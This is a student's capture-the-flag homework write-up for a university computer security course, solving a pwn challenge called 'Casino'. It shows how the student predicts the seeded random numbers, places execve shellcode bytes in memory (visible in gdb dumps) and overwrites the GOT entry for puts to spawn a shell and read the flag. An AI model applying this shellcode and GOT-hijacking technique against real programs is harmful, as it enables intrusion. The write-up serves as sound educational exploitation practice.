Computer Security Hw0x05 Writeup

- Realname: 胡安鳳
- ID on course web: alfons0329
- Student ID: R08922024

tags: **Computer Security NTU CS CS CTF Writeup**

Casino (pwn)

As we can see from source code that puts is used when we win the casino, we may use it for **GOT table hijacking** and make such GOT position point to our malicious payload, i.e. shellcode.

Step 1, Overwrite seed and construct our own random function.

```
gdb-peda$ x/40w 0x6020b0
0x6020b0 <lottery>:     0x00000053      0x00000056      0x0000004d      0x0000000f
0x6020c0 <lottery+16>:  0x0000005d      0x00000023      0x00000000      0x00000000
0x6020d0 <guess>:       0x00000053      0x00000056      0x0000004d      0x0000000f
0x6020e0 <guess+16>:    0x0000005d      0x00000023      0x00000000      0x00000000
0x6020f0 <name>:        0x00000000      0x00000000      0x00000000      0x00000000
0x602100 <seed>:        0x00000000      0x00000028      0x00000000      0x00000000
0x602110:       0xb848686a      0x6e69622f      0x732f2f2f      0xe7894850
0x602120:       0x01697268      0x24348101      0x01010101      0x6a56f631
0x602130:       0x01485e08      0x894856e6      0x6ad231e6      0x050f583b
0x602140:       0x0000000a      0x00000000      0x00000000      0x00000000
```

```
int seed = 0x0;
    srand(seed);
    for(int i = 0; i < 6; i++){
        int rand_num = rand() % 100;
        printf("%d\n", rand_num);
    }
```

Step 2, GOT hijacking of puts

Put the location of shellcode (starting from 0x602110) in GOT of puts (starting from 0x602020)

```
gdb-peda$ x/10w 0x602020
0x602020:       0x00602110      0x00000000
```

We now have shell

```
gdb-peda$ ni
process 29464 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400ae6

gdb-peda$ ls
casino      casino.c     core       gen_num.out  peda-session-casino.txt  solve.py
casino.asm  casino_test  gen_num.c  in.txt       print.py                 solve_test.py
```

Pwned

```
$ python2 solve.py
('sc ', '\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\
[+] Starting local process './gen_num.out
[+] Receiving all data: Done (18B)
[*] Process './gen_num.out' stopped with
[*] Paused (press any to continue)
[+] Opening connection to edu-ctf.csie.or
('fffffinished sending offset ', '-43')
('hijack ', '6299920')
('finished sending offset', '-42')
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /home/casino/flag
FLAG{0verf1ow_1n_ev3rywhere!}
$
```